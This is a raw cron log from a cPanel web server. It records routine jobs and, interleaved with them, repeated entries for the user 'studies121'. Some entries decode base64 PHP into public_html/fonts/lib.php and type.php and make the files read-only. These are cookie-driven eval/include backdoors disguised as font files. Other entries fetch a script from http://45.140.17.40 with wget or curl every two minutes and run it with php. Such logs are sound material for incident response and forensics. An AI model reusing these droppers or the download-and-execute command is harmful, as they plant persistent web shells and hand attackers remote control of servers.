Aug 30 23:58:01 ip-184-168-122-23 CROND[28218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:59:01 ip-184-168-122-23 CROND[28393]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:59:01 ip-184-168-122-23 CROND[28394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:59:01 ip-184-168-122-23 CROND[28395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:59:01 ip-184-168-122-23 CROND[28396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:00:01 ip-184-168-122-23 CROND[28480]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:00:01 ip-184-168-122-23 CROND[28481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:00:01 ip-184-168-122-23 CROND[28484]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:00:01 ip-184-168-122-23 CROND[28488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:00:01 ip-184-168-122-23 CROND[28486]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:00:01 ip-184-168-122-23 CROND[28489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:00:01 ip-184-168-122-23 CROND[28492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:00:01 ip-184-168-122-23 CROND[28491]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 00:00:01 ip-184-168-122-23 CROND[28493]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 00:01:01 ip-184-168-122-23 CROND[28589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:01:01 ip-184-168-122-23 CROND[28591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:01:01 ip-184-168-122-23 CROND[28593]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 00:01:01 ip-184-168-122-23 CROND[28594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:01:01 ip-184-168-122-23 CROND[28595]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 00:01:01 ip-184-168-122-23 CROND[28592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28593]: starting 0anacron
Aug 31 00:01:01 ip-184-168-122-23 anacron[28610]: Anacron started on 2026-08-31
Aug 31 00:01:01 ip-184-168-122-23 anacron[28610]: Normal exit (0 jobs run)
Aug 31 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28612]: finished 0anacron
Aug 31 00:02:01 ip-184-168-122-23 CROND[28687]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:02:01 ip-184-168-122-23 CROND[28689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:02:01 ip-184-168-122-23 CROND[28692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:02:01 ip-184-168-122-23 CROND[28693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:02:01 ip-184-168-122-23 CROND[28691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:03:01 ip-184-168-122-23 CROND[28770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:03:01 ip-184-168-122-23 CROND[28772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:03:01 ip-184-168-122-23 CROND[28775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:03:01 ip-184-168-122-23 CROND[28776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:04:01 ip-184-168-122-23 CROND[28852]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:04:01 ip-184-168-122-23 CROND[28853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:04:01 ip-184-168-122-23 CROND[28851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:04:01 ip-184-168-122-23 CROND[28855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:04:01 ip-184-168-122-23 CROND[28854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:05:01 ip-184-168-122-23 CROND[29038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:05:01 ip-184-168-122-23 CROND[29040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:05:01 ip-184-168-122-23 CROND[29045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:05:01 ip-184-168-122-23 CROND[29044]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:05:01 ip-184-168-122-23 CROND[29046]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:05:01 ip-184-168-122-23 CROND[29042]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 00:05:01 ip-184-168-122-23 CROND[29043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:06:01 ip-184-168-122-23 CROND[29138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:06:01 ip-184-168-122-23 CROND[29142]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:06:01 ip-184-168-122-23 CROND[29141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:06:01 ip-184-168-122-23 CROND[29140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:06:01 ip-184-168-122-23 CROND[29143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:07:01 ip-184-168-122-23 CROND[29227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:07:01 ip-184-168-122-23 CROND[29229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:07:01 ip-184-168-122-23 CROND[29230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:07:01 ip-184-168-122-23 CROND[29231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:08:01 ip-184-168-122-23 CROND[29318]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:08:01 ip-184-168-122-23 CROND[29317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:08:01 ip-184-168-122-23 CROND[29319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:08:01 ip-184-168-122-23 CROND[29320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:08:01 ip-184-168-122-23 CROND[29321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:09:01 ip-184-168-122-23 CROND[29402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:09:01 ip-184-168-122-23 CROND[29404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:09:01 ip-184-168-122-23 CROND[29406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:09:01 ip-184-168-122-23 CROND[29407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:09:01 ip-184-168-122-23 CROND[29405]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 00:10:01 ip-184-168-122-23 CROND[29601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:10:01 ip-184-168-122-23 CROND[29602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:10:01 ip-184-168-122-23 CROND[29609]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 00:10:01 ip-184-168-122-23 CROND[29607]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:10:01 ip-184-168-122-23 CROND[29606]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
